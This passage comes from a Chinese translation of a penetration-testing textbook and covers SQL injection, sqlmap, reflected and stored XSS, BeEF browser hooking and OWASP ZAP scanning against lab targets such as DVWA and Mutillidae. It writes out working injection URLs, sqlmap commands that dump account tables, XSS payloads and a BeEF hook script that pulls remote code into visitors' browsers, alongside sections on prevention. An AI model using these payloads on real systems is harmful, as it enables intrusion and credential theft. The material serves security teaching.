它存储在/etc/passwd中,因此我们可以通过在load_file()函数中指定该文件的完整路径,从其他网站或其他文件中读取服务器中的任何内容。

现在,我们将开始写入服务器。这非常有用,因为我们将能够写入任何我们想要的代码。我们可以写入 PHP 脚本代码,甚至可以写入 shell、病毒或 PHP 代码来获取反向连接——这些代码基本上就像是文件上传漏洞。为了做到这一点,我们将把我们想要的代码写在这里,并将其命名为example example。我们将使用一个名为into outfile的函数,然后指定我们想要将该文件存储的位置。在最佳情况下,我们将能够写入 web 根目录,这意味着我们可以通过浏览器访问该文件并执行它,然后上传 Weevely 文件并连接到它。我们将把文件保存在/var/www/目录中(那是我们的 web 根目录),这样我们就可以通过它访问内容,或者你也可以把它放在/var/www/mutillidae目录中。确保将所有内容设置为null,这样除了你在2中输入的example example文本外,文件中不会写入任何其他内容,并且它将被存储在/var/www/mutillidae/example.txt文件中。以下是命令:

union select null,'example example',null,null,null into outfile '/var/www/mutillidae/example.txt'

让我们尝试运行该语句。URL 命令如下:

index.php?page=user-info.php&username=zaid' union select null,'example example',null,null,null into outfile '/var/www/multillidae/example.txt'%23&password=123456&user-info-php-submit-button=View+Account+Details

如果我们看到下面的截图,就会知道命令没有成功,因为 SQL 或 MySQL 不允许创建或写入/mutillidae目录。问题在于我们没有足够的权限来写入/mutillidae位置:

为了测试这个漏洞,我们将把位置更改为/tmp并运行代码,我们会看到实际上我们可以写入/tmp目录:

在上面的截图中显示了错误信息,但如果我们使用ls /tmp/命令列出文件,我们可以在下面的截图中看到一个名为example.txt的文件。如果我们尝试读取该文件,我们将看到它包含我们的select命令的内容以及文件中写入的example example文本:

我们可以通过输入错误的用户名来摆脱adminadminpass,这时不会显示任何内容。我们唯一会看到的是输出,即example example。再次强调,这只有在我们能够写入我们的 web 服务器并访问它时才有用,然后我们可以使用我们的 shell 或 payload 进一步利用该系统。

sqlmap 工具

在本节中,我们将学习一个称为sqlmap的工具,它允许我们做到我们到目前为止学到的一切,甚至更多。这个工具可以针对 MySQL 数据库进行操作,这是我们示例中使用的数据库之一。它还可以针对 Microsoft SQL、Oracle 和其他数据库进行操作。这个工具非常有用;有时候注入并不像我们看到的那么好,有时我们每条记录只能得到一个输出,我们必须循环遍历所有输出。这个工具可以自动化这一过程,为我们做所有的事情,这样更容易更简单。

这是我们用于注入的 URL:http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&user-info-php-submit-button=View+Account+Details。因此,URL 正在使用user-info.php页面,用户名为admin,密码为adminpass。我们实际上不需要使用用户名和密码,所以我们可以在那里放任何东西,只是假设我们不知道密码,我们只是在注入 SQL 注入。复制该 URL 并将其插入以下sqlmap命令中:

sqlmap -u "http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&user-info-php-submit-button=View+Account+Details"

我们正在使用-u选项来指定 URL;确保将 URL 放在两个引号之间,以免忽略它们之间的任何内容。我们在中间有一些标志和字符,希望它们被视为一个 URL。

Enter,工具将自动查看所有参数:

它将查看user-info.php中的用户名和密码,看看它们是否可注入;一旦完成,它将存储在内存中。因此,它将知道是否有什么可注入的,然后我们将能够进一步利用目标。

正如我们在下面的图片中看到的那样,它认为我们的目标可能是 MySQL 或 PostgreSQL,询问我们是否应该跳过其他测试,我们将会说,因为我们知道它是 MySQL。稍后它会问我们是否应该对这两个数据库做所有的测试,我们会说是,假设我们不确定到底是哪一个,如下面的截图所示:

我们知道它是 MySQL,但我们只是让它自行处理,我们将看看它是否能正确地执行。它检查是否为 PostgreSQL,我们假设它会这么做,然后它会知道这是 MySQL,它刚刚发现username似乎是可注入的,确实在这里告诉我们username参数是有漏洞的,我们可以进行注入:

所以,它在问我们是否要检查其他参数,我们可以说是并让它执行,但我们将会说,因为如果只是使用username进行注入,我们并不介意。

现在,sqlmap知道目标是可注入的,它将使用username参数进行注入。正如我们在前面的截图中看到的,它已经确定正在运行Linux Ubuntu,正在使用PHP 5.2.4,带有Apache 2.2.8,并且作为数据库服务器使用MySQL 5.0服务器。

sqlmap是一个非常强大的工具,在本节中,我们只是快速看看它可以做些什么。我建议您花更多时间来研究它,看看它还能做什么。

所以,让我们运行sqlmap --help

现在让我们尝试获取current-usercurrent-db,所以我们将使用之前使用过的相同命令。我们将在命令后添加-- dbs以获取当前数据库:

sqlmap -u "http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&user-info-php-submit-button=View+Account+Details" --dbs

正如我们在下面的截图中看到的,我们获得了所有需要的数据库。有dvwainformation_schemametasploitmysqlowasp10tikiwiki

现在,如果我们运行相同的命令,将--dbs替换为--current-user,我们可以看到我们是root

如果我们用--current-user替换为--current-db,我们将看到owasp10是我们当前的数据库:

现在,让我们尝试获取owasp10的表格。我们还将使用--tablesD选项来指定数据库,我们的数据库将被称为owasp10,因此命令将如下所示:

sqlmap -u "http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&user-info-php-submit-button=View+Account+Details" --tables -D owasp10

正如我们在下面的截图中所见,该命令为我们获取了存在于owasp10数据库中的所有表,如accountsblogs_tablecredit_cards表:

现在,如果我们想要获取列,我们可以再次使用相同的命令,我们将从-T accounts -D owasp10获取--columns。以下是命令:

sqlmap -u "http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&user-info-php-submit-button=View+Account+Details" --columns -T accounts -D owasp10

以下是命令的输出:

所以,我们有is_adminpasswordusername,我们可以使用--dump选项获取它们的数据。这是我们之前使用的相同命令,因此我们从accounts表和owasp10数据库获取它们。以下是命令:

sqlmap -u "http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&user-info-php-submit-button=View+Account+Details" -T accounts -D owasp10 --dump

以下是前述命令的输出:

在上述截图中,我们有admin,其adminpass密码,还有adrian,他的密码是somepassword。所以,正如我们所说,这个工具非常有用。它可以让我们的生活变得更加轻松,而且一切都是自动的。

防止 SQL 注入

到目前为止,我们已经看到 SQL 注入是非常危险的;它们也非常容易发生,而且很容易被发现。我们会在任何地方发现它们,甚至在一些非常著名的网站中。人们尝试通过使用过滤器来防止这些漏洞。过滤器可以让它看起来好像没有漏洞,但如果我们实际加大力度,使用不同类型的编码,或者通过代理,我们将能够绕过大多数这些过滤器。一些程序员使用黑名单,例如,防止使用unioninsert语句。但这并不是百分之百安全的,也可以被绕过。使用白名单也存在与黑名单完全相同的问题。

防止 SQL 注入的最佳方法是编写我们的 Web 应用程序,使其不允许代码被注入并执行。所以,最佳的做法是使用参数化语句,在这种语句中,数据和代码是分开的。让我们来看一个例子,我们在这个例子中尽量保持最少的编程部分。我们不希望它成为一个编程示例(实际上,编程中存在错误),但我们试图更多地关注概念,而非如何编写代码。以下是示例代码:

$textbox1 = admin' union select #
Select @ from accounts where username='admin' union select #'

这个脆弱的代码使用了Select * from accounts,其中username等于我们在textbox1中输入的内容,然后我们在textbox1中输入例如admin,并且关闭引号。接着,我们能够执行union select并执行其他操作;一旦完成,我们添加注释(#),这基本上会忽略注释之后的所有内容。代码看起来是这样的:

Select * from accounts where username ='admin' union select #'

这非常糟糕,且非常难以防范。使用过滤器只会隐藏问题,并不能解决它。解决漏洞的最佳方法是使用参数化语句,以下是一个示例:

prepare("Select * from accounts where username = ?")
execute(array('textbox1'))

这是安全的做法。首先,我们prepare语句。大多数语言,比如 PHP,实际上都有一个可以prepare ("Select * from accounts where username = ?")的函数,然后我们发送值。所以,PHP 现在知道 SQL 语句是Select * from accounts where username等于某个值,然后它会使用textbox1的值。即使我们使用非常狡猾的语句'$admin' union select #'并粘贴到execute函数中,Web 应用程序也会知道textbox1的值是admin union select。它实际上会尝试使用Select * from accounts whereusername,然后它会添加自己的引号,并尝试用插入的username查找username。所以,它会变成select * from accounts where username ="'$admin' union select#。因此,无论我们在textbox中输入什么内容,它都会被当作一个值发送,Web 应用程序会知道这应该是一个值而不是代码,它将永远不会执行它。这将保护我们免受 SQL 注入攻击。

我们可以将过滤器作为第二道防线。建议我们使用最小权限原则。因此,对于每个数据库,使用一个权限最小的用户;不要允许用户做任何他们想做的事;除非是一个只做选择的简单网站,那么只允许用户select。如果他们只需要selectinsert,那么只允许他们selectinsert;这是我们应该遵循的规则,甚至对于 Linux 系统也是如此。确保权限始终保持最小化,确保每个用户没有任何他们不需要的额外权限。

总结

在这一章中,我们讨论了一个可以被利用的漏洞,那就是 SQL 注入。SQLi 可以用于对机器和服务器的数据库执行一系列非常危险的攻击。首先,我们看到如何发现这些注入漏洞。我们还学会了如何通过 URL 登录系统——我们只需要启动几行代码,代码中只需要提到密码和用户名。接着,我们看到了如何在不使用登录凭证的情况下绕过 SQLi。我们甚至使用GET方法来发现 SQLi。之后,我们学会了如何在数据库上执行基本的select语句。我们还学会了如何使用sqlmap工具,该工具能够执行很多操作,但我们在这一章中只介绍了基础部分。最后,我们讨论了防止 SQLi 的方法。在下一章中,我们将利用跨站脚本漏洞。

第二十一章:跨站脚本漏洞

在本章以及接下来的章节中,我们将学习一种叫做 跨站脚本 (XSS) 的漏洞,学习如何发现 XSS 漏洞。但我们会从了解 XSS 攻击和 XSS 漏洞开始。然后我们将利用 XSS 的反射型漏洞。接下来,我们将讨论存储型 XSS,这是另一种 XSS 漏洞,并尝试发起攻击。最后,我们将学习如何防护 XSS 漏洞。

本章将涵盖以下主题:

  • XSS 简介

  • 反射型 XSS

  • 存储型 XSS

  • XSS BeEF 利用

  • XSS 防护

XSS 简介

现在让我们了解更多关于 XSS 的知识。这种漏洞允许攻击者将 JavaScript 注入到页面中。JavaScript 是一种编程语言,利用这个漏洞,攻击者能够将用 JavaScript 编写的代码执行到特定页面上,比如一个网站。JavaScript 是一种客户端语言,因此当代码执行时,它会在客户端——即浏览网页的用户设备上执行,而不是在服务器上执行。因此,即使我们的代码导致我们获得一个反向 Shell,这个 Shell 也会从浏览页面的用户设备上发起,而不是从网站服务器上发起。所以我们在 JavaScript 中编写的任何代码都会被利用,并且只会在目标用户——即浏览网页的人身上执行,而不是在 web 服务器上。所以,web 服务器仅仅作为执行或传递代码的工具。

XSS 漏洞主要有三种类型:

  • 持久性或存储型:存储型 XSS 会将注入的代码存储在数据库中。我们注入的代码将被存储在数据库或页面中,以便每当有人查看该页面时,我们的代码都会被执行。

  • 反射型:反射型 XSS 只有当目标用户运行我们精心编写的特定 URL 时,代码才会被执行。所以我们会操控某种 URL 并将其发送给目标,当目标运行该 URL 时,代码就会被执行。

  • 基于 DOM:基于 DOM 的 XSS 是由于客户端编写的 JavaScript 代码所导致的,因此代码实际上会在客户端进行解释和执行,而不需要与 Web 服务器进行任何通信。这可能非常危险,因为有时 Web 服务器会采取安全措施和过滤措施来检查 XSS,但在基于 DOM 的 XSS 中,代码永远不会发送到 Web 服务器。这意味着代码将在 Web 浏览器上被解释和执行,甚至不与 Web 服务器进行交互,并且会出现在那些无需刷新即可更新内容的网站上。我们都使用过那种输入用户名时,页面立即加载而不需要与 Web 服务器检查的网站,或者输入某种字符串进行搜索而不与 Web 服务器通信的网站;无论是哪种过程,一些网站都会在不与 Web 服务器通信的情况下执行功能。如果我们能够注入到这些网站中,那么这些注入将不会被验证,并且会立即执行,绕过所有验证。

反射型 XSS

让我们学习如何发现这些漏洞。这个方法与 SQL 注入非常相似。首先,你浏览目标网站,并尝试向任何看起来类似的文本框或 URL 注入。每当你看到一个带有参数的 URL 时,尝试将 something=something 作为参数进行注入,或者尝试向文本框注入内容。我们来看看一个反射型 XSS 的例子。这些是非持久性、非存储型的漏洞,我们必须实际将代码发送到目标网站,一旦目标运行了代码,它将在他们的机器上执行。

让我们查看一下我们的 DVWA 网站并登录。在下面截图的左侧 DVWA 安全标签中,我们将把脚本安全设置为低:

正如我们在下面的截图中看到的,我们可以在文本框中输入你的名字,它将显示“Hello zaid”:

这显然只是一个例子,但这个想法是你可以注入到文本框中。另外,如果我们看一下 URL 10.0.2.15/dvwa/vulnerabilities/xss-r/?name=zaid,我们可以看到它使用了 GET 方法,所以我们也可以注入到 URL 中。让我们启动 D-pad,并尝试在上面注入 XSS 代码,看看 JavaScript 代码是否会被执行。我们使用了一个非常简单的脚本,即 <script></script> 标签。发现这类漏洞的方法有很多种,绕过过滤器的方法也有很多种,但现在我们仅仅查看一个基本的例子,我们可以注入一个普通的脚本并写入 <script>alert("XSS")</script> —— 这只是一个弹出警告的函数 —— 然后提交,看是否会执行该代码。

如下截图所示,页面上并不是显示“Hello zaid”,而是显示了“Hello”;我们的代码已被执行,并且弹出了 XSS 提示框:

如果我们查看这个 URL 10.0.2.15/dvwa/vulnerabilities/xss-r/?name=<script>alert("XSS")<%2fscripts>#,我们可以看到它实际上已经为我们做了这些。但如果我们将这个 URL 复制并粘贴到记事本中,我们可以看到 name 参数中的脚本以及一些 CSS 脚本。

显然,所有字符都是 HTML 转义字符,如果我们将这个 URL 发送给任何人,那么代码将在查看该 URL 的人机器上执行,并显示一个弹窗提示 XSS。现在我们来看一下如何通过 URL 注入。为了展示整个概念,我们将使用这个 URL 10.0.2.15/dvwa/vulnerabilities/xss-r/?name=<script>alert("XSS")</scripts>#。如果我们按下 Enter,代码将会执行。我们可以复制这个 URL 并发送给某个人,一旦他们运行该代码,代码将在他们的机器上执行。

存储型 XSS

现在让我们看一下一个存储型 XSS 示例。存储型 XSS 与反射型 XSS 非常相似——它允许你将 JavaScript 代码注入到浏览器中。代码会在访问页面的用户的机器上执行。唯一的区别是,对于反射型 XSS,我们需要将 URL 发送给目标,目标必须实际点击 URL 才能触发漏洞。对于存储型 XSS,代码会存储在数据库中——即存储在页面中——这样每次某人访问该页面时,他们都会看到我们的代码并且代码会被执行,所以我们不需要与任何用户互动或者发送任何东西给他们。因此,这可能比反射型 XSS 更加危险。

那么,让我们看看这个。点击左侧的 XSS 存储标签,我们将看到一个页面,如下截图所示:

该页面只允许我们向系统添加一条消息。现在,我们将会在姓名文本框中输入 zaid。我们首先进行一个普通的测试。接着,我们会在消息文本框中输入 message body,然后点击“签名留言簿”按钮。我们可以在以下截图中看到,zaid 添加了一条名为 message body 的消息:

所以,如果我们切换到另一台位于不同地点的 DVWA 机器并访问 XSS 存储标签,我们将能看到两个条目。这些条目会从数据库加载,并且它们包含数据库中的内容。如果我们成功注入了代码而不是消息,那么代码将在每次运行该页面的人的机器上执行,而我们甚至不需要发送任何代码给他们。

让我们尝试将代码注入到运行在 Kali 环境中的 DVWA 中。让我们将名字输入为 zaid。我们将尝试将我们的代码输入到消息文本框中。我们将其输入为 <script>,并且我们将使用与上一节相同的测试代码,只是一个显示 XSS 的消息。再次强调,非常基础的代码,但它足以用于此攻击的目的。我们将让代码显示 alert("XSS"),然后点击“Sign Guestbook”按钮。因此,代码如下所示:

<script>alert("XSS")</script>

我们将看到弹出警报中显示的 XSS,但当普通人访问页面时才会真正发生奇迹:

假设 DVWA 只是一个普通的网站,人们只是来浏览它。一旦他们转到网站上的 XSS 存储选项卡,JavaScript 代码将从网站上在他们的系统上执行。代码将来自网站并在访问该页面的每个用户上执行。再次强调,我们这里只是实施概念验证;在接下来的部分中,我们将看到如何进一步利用这种类型的漏洞。

XSS BeEF 利用

我们还没有找到一种有效利用 XSS 漏洞的好方法;到目前为止,我们所做的一切只是注入了一个非常简单的代码,在屏幕上显示一个警报,说明这个网站存在漏洞。我们现在要做的是更高级的操作。我们想要控制受害者,在访问我们注入代码的漏洞页面时,在目标计算机上执行操作。我们将使用 BeEF 浏览器来实现这一点。我们在之前的章节中已经看过 BeEF。我们现在要做的是使用 BeEF 钩子 URL,并将其注入到存储型 XSS 页面中,以便每个访问该页面的人都会被连接到 BeEF。然后,我们将能够在目标计算机上运行 BeEF 允许我们运行的所有命令。

让我们启动 BeEF。如果我们查看在线浏览器,目前没有受害者。因此,为了将受害者钩入到这个框架并访问 BeEF 的功能,我们需要注入特定的脚本而不是警报:

<script src="http://<IP>:3000/hook.js"></script>

将前面代码中的IP替换为你当前的 IP 地址。记住,在之前的部分,我们将一个alert脚本注入到了 URL 或 XSS 存储页面中。在这个例子中,我们将注入一个脚本,将目标挂钩到我们的 BeEF 浏览器上,以便我们可以对其进行利用。我们将复制前面的脚本,然后访问我们的 DVWA 网站。确保在 DVWA 的安全性选项卡中将安全设置为低。在 Kali 机器上启动 BeEF 浏览器,访问 DVWA 网站,在 XSS 存储选项卡下,我们将名称设置为beef,并将消息字段设置为我们从 BeEF 终端获得的挂钩 URL。再次提醒,需要将挂钩 URL 中的 IP 地址修改为我们自己的 IP 地址。所以,除了网站的 IP 地址外,我们将输入自己的 IP 地址,10.0.2.15。现在,网站不允许我们再添加更多字符,因为消息字段配置为不允许超过一定字符数。我们可以通过右键单击并从下拉菜单中选择“检查元素”选项轻松绕过这一限制:

然后我们将修改maxlength,将其设置为500,而不是50

现在我们可以添加更多字符了。我们将关闭检查元素对话框,并将 IP 设置为 10.0.2.15,这是我们的当前 IP 地址。然后我们将点击“签名留言簿”按钮,这应该可以使其生效。现在,如果我们访问我们的目标,也就是已经被挂钩的 Linux 计算机,可以在以下截图中看到它出现在 BeEF 窗口的左侧:

显然,这不是我们的目标;只是我们在查看网站,挂钩已经在我们的浏览器上执行。我们的目标实际上是 Windows 设备,或者任何将访问这个 XSS 存储页面的人。由于这是一个存储型 XSS,就像我们之前解释的,代码将在任何访问该页面的人的机器上执行。

现在,如果我们返回到 BeEF 浏览器,我们应该能看到 Windows 设备,并且可以看到它出现在在线浏览器列表中:

所以,我们基本上已经挂钩了 Windows 设备,现在可以运行 BeEF 允许我们使用的大量功能。接下来,我们将点击我们的目标并转到“命令”选项卡。目前,我们只想运行一个特定命令,就是像之前一样使用的alert命令,来确认一切是否正常工作。我们将使用创建警告对话框,并且可以将警告文本设置为任何我们想要的内容。我们将其保留为BeEF 警告对话框,然后点击“执行”:

现在,如果我们进入目标计算机,我们可以看到弹出对话框正在正常工作,如下图所示:

现在,任何浏览我们目标网站——易受攻击网站——的人都会被钩住并连接到 BeEF,我们随后可以运行所有我们之前看到的命令。因此,所有在客户端攻击中看到的命令——例如通过虚假的通知栏获取完全访问权限、获取屏幕截图、注入键盘记录器——都可以应用到访问该易受攻击页面的任何人身上,因为我们将钩子注入到了页面中,而不是浏览器中。我们的钩子是页面的一部分,所以每当页面被任何人加载时,他们都会被钩住并连接到 BeEF 浏览器。

XSS 防护

现在让我们来讨论如何防止 XSS 漏洞。这些漏洞存在的原因是每当用户在文本框或参数中输入内容时,输入会显示在 HTML 中,因此它被视为页面的一部分。因此,如果其中包含 JavaScript 代码,那么这段代码就会被执行。为了防止这种漏洞,最好的方法是尽量减少不受信任输入的使用。鉴于这一漏洞,我们应该尽量减少用户输入内容的场合,或是减少从参数中输入内容的机会。同时,确保我们始终对将要显示或在 HTML 页面中使用的内容进行转义,因为 XSS 不仅可以注入到页面上显示内容的地方,还可以注入到 HTML 页面某些元素的参数中。转义意味着我们将下图所示的每个字符转换为它们在 HTML 中的表示方式。我们可以通过自己的脚本来实现这一点:

现在让我们看看它是如何发生的。从我们正在使用的易受攻击的网页开始,进入 XXS 存储页面。我们来查看下图中突出显示的元素,这是我们注入警告的位置。如果右键点击并选择下拉菜单中的“检查元素”,它会显示出该元素的 HTML:

如果我们扫描它,就会看到我们有一个名字字段,值是 zaid,接下来是另一个输入框,就是消息。它是一个脚本,而这个脚本的作用是弹出一个显示 XSS 的警告,这正是我们在发表评论时注入的内容。因此,每次我们运行这个页面时,这段代码都会被执行。我们需要确保每次用户输入内容时,以及每次某个内容在页面上显示或在页面元素中使用时(即使是 id 参数,例如,它是 <div> 标签的参数,但并不显示),它也可能被注入。黑客可以尝试将钩子注入到参数中——例如,他们可以尝试将钩子注入到图片属性中,制作一张图片并将钩子注入到源或 URL 中。

让我们尝试一个示例,每次用户输入在页面上被使用时—即使我们看不见它—我们都要确保对该输入进行转义,并确保其中不包含任何代码。如果输入中确实包含了代码,则将其转换为一个等效的内容,这样它就不会被执行。它会被转换为 HTTP 等效内容,以便我们看到消息中的alert。我们看到的是一个脚本alert的 XSS 漏洞消息,但它在目标计算机上运行时永远不会被执行。

现在,作为用户,为了防止自己成为 XSS 攻击的受害者,传送到我们的 URL 可能看起来像是一个可信网站的 URL;例如,假设我们在一个存在 XSS 漏洞的公司工作。我们登录到公司的系统后,代码会在我们的机器上执行。一旦发生这种情况,我们就很难采取措施,因此我们需要事先小心。通过 BeEF,我们看到为了利用这些漏洞,我们展示了一个假更新给目标计算机。例如,如果我们收到一条更新消息,我们应该访问该软件(看起来)需要更新的官方网站进行确认。所以,如果 Firefox 浏览器提示有更新,应该去 Firefox 官网查看是否真的有更新,如果有,应该从该官网下载安装—而不是从收到的通知中下载安装。同时,确保从 HTTPS 网站下载。一旦我们下载了文件,我们可以像之前看到的那样检查,确保文件中没有后门或其他恶意内容。我们还可以检查md5sum,以确保文件在下载过程中没有被篡改,就像我们在使用 BeEF 进行假 Facebook 登录时所做的那样。因此,任何时候如果我们被告知已被登出并要求重新登录,忽略这个请求,直接访问 Facebook,确保它使用的是 HTTPS,然后登录到 Facebook。每当有通知弹出告诉你需要做某些事情时,一定要小心—保持警觉,永远不要相信这些通知。

总结

在本章中,我们学习了 XSS 攻击,这些攻击可以被描述为出现在 Web 应用程序中的漏洞。我们还了解了 XSS 漏洞的三种主要类型—反射型和存储型。我们研究了反射型漏洞,并使用 DVWA 网站来发起攻击。我们还了解了存储型 XSS 漏洞,并且甚至进行了实践实现。接着,在利用环节,我们进行了一个高级攻击,控制了受害者的计算机。最后,我们学习了如何保护自己免受这些漏洞的侵害。在下一章中,我们将学习一个名为 ZAP 的工具。

第二十二章:使用 OWASP ZAP 自动发现漏洞

在上一章中,我们讨论了渗透测试的另一个重要部分,关于利用跨站脚本漏洞。

现在,在这一章中,我们将学习一款名为 ZAP 的工具,它将帮助我们检测 Web 应用程序的风险和漏洞。然后我们将探索我们可以执行的各种扫描,并学习如何解读扫描结果。我们将通过一些示例来展示这些内容。

本章将涵盖以下 Web 渗透测试主题:

  • OWASP ZAP 启动

  • OWASP ZAP 结果

OWASP ZAP 启动

到目前为止,我们已经学习了如何手动发现一些非常危险的漏洞。我们了解了它们是如何工作的以及如何利用它们。在本节中,我们将学习一款工具,它将帮助我们自动发现 Web 应用程序中的漏洞。它将帮助我们发现我们已经学习的漏洞,以及更多其他漏洞。之所以在开始时没有学习这款工具,是因为我想先教你们如何手动发现漏洞。同时,我希望你们了解这些漏洞是如何产生的,以便理解它们背后的原因。所以这个程序只是一个工具,它可能会出错,也可能会显示误报。在某些情况下,它也可能遗漏漏洞。

因此,我希望你们了解如何手动完成这些操作,这样如果程序没有正常工作或遗漏了什么,你们就能够找到它们。使用这些程序的最佳方式是作为备份工具,或者仅仅作为帮助我们进行渗透测试的工具。

使用这个工具非常简单。我们将进入“应用程序”并输入ZAP。它会询问我们是否要保存当前会话,当我们搜索某些内容时,我们选择“不,我现在不想保存此会话”,然后点击“开始”:

在以下截图中是工具的主视图。左侧是我们将要攻击的网站,右侧我们可以进行攻击并设置网站 URL,底部则显示我们的攻击或扫描结果:

如果我们点击左侧的齿轮图标,它会弹出一个窗口,如下图所示,这个窗口允许我们修改程序的选项。我们可以修改某些方面的设置,包括 Fuzzer 的工作方式、AJAX Spider 的工作方式,以及扫描的工作方式:

我们不会修改任何内容。我们可以修改的另一项内容是扫描中使用的策略;类似于我们之前在 Nmap 中使用的扫描,例如强力扫描等。所以,我们将点击屏幕底部的加号按钮,然后点击“主动扫描”:

点击下图中突出的“扫描策略管理器”按钮:

选择默认策略,现在我们可以通过使用添加按钮来创建自己的策略。我们将点击“默认策略”并点击“修改”按钮:

点击“修改”按钮将显示我们可以修改的内容:

在前面的截图中,我们可以看到可以修改全局策略的策略、默认警报阈值和默认攻击强度。点击每个类别将允许我们修改要执行的特定扫描。例如,在以下截图中,在注入标签中,我们可以看到程序将尝试的所有注入扫描,例如跨站脚本:在“阈值”列中,当我们点击阈值类型时,我们可以将其设置为默认、低、中或高:

将其设置为默认将默认选择所选值,在以下截图中是中等:

或者,例如,如果我们正在寻找 SQL 注入,想要访问数据库,我们可以将阈值设置为高,以便它尝试所有可能的方式,并尽力在更困难的地方找到漏洞:

只需保持所有默认设置。现在,我们将开始针对 Mutillidae 脚本发起攻击。我们在 Metasploitable 机器上的10.0.2.4运行它,URL 是http://10.0.2.4/mutillidae/。将 URL 粘贴到 OWASP 工具中的“URL to attack”文本框中,然后点击“攻击”按钮:

该工具首先会尝试查找所有 URL,然后根据我们使用的扫描策略攻击这些 URL。扫描的输出如下所示:

OWASP ZAP 结果

扫描完成后,我们可以在左侧看到我们的网站,点击它将显示蜘蛛在查找文件时的一些结果:

非常有趣的部分是下面截图中的警报。我们可以看到所有已发现的漏洞:

在前述截图的左下角,我们可以看到有 6 个红色标志,表示高优先级警报,还有 4 个橙色标志,5 个黄色标志,0 个蓝色标志。这些按严重性顺序排列。

点击任何类别将展开并显示找到的威胁,例如,点击路径遍历(10),我们将看到所有可以利用的 URL,以从服务器读取文件:

单击任何站点,我们将看到发送的 HTTP 请求以便发现这个:

以下截图显示了响应以及工具为什么认为这是一个漏洞,我们可以看到在响应中工具能够获取/etc/passwd的内容:

在以下截图中,我们可以看到工具用于利用漏洞的 URL,我们可以看到当前漏洞的描述以及如何利用它:

我们还可以看到风险,这是高风险。我们可以看到置信度——工具对这个漏洞存在的信心有多大。我们还可以看到它已经被注入到一个页面中,攻击正在尝试获取/etc/passwd。因此,在页面上右键单击,然后单击在浏览器中打开 URL:

正如我们在以下截图中所看到的,该工具已经为我们利用了该站点。它向我们展示了漏洞的输出,我们可以阅读/etc/passwd的内容:

让我们看另一个例子,例如跨站脚本攻击。同样,该工具还会检查POSTGET参数。有时,当注入发送到文本框中,甚至在没有文本框的情况下发送时,如果它发送到POST参数中,我们在 URL 中看不到它,因此它实际上会检查POSTGET。您可以在以下截图中看到,它在注册页面的POST请求中发现了一个漏洞,并且还在GET请求中发现了一个漏洞:

再次右键单击并在浏览器中打开将为我们执行它,我们可以看到代码已经执行:

再次,我们可以从浏览器的地址栏中找到执行的 URL。如果我们想要将其用于其他工具,我们也可以在工具中看到它,即用于利用漏洞的 URL。

让我们再举一个 SQL 注入的例子。再次,单击链接:

它会向我们显示 URL,并显示它所使用的攻击,ZAP' AND '1'='1',这在参数密码中,如果您记得,我们实际上是手动利用了这个参数:

用于利用的参数。

在浏览器中打开链接,我们可以看到注入正在工作,并且正在使用一个名为 ZAP 的用户名和密码:

因此,该工具非常简单、功能强大且非常有用。我们可以尝试使用它,可以尝试使用代理和选项,看看如何增强结果并获得更好的结果。

总结

在本章中,我们研究了渗透测试的最后部分,学习了使用名为 OWASP ZAP 的工具,它帮助我们理解 Web 应用程序中的漏洞。我们将这部分内容作为 Web 渗透测试的最后一部分进行学习,因为我希望你们首先学习如何手动进行渗透测试。 本章的第一部分,我们探索了该工具的图形用户界面(GUI)以及我们可以使用它执行的所有操作。接下来的部分介绍了我们如何执行扫描,并且我们还解释了扫描结果。

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(33)  评论(0)    收藏  举报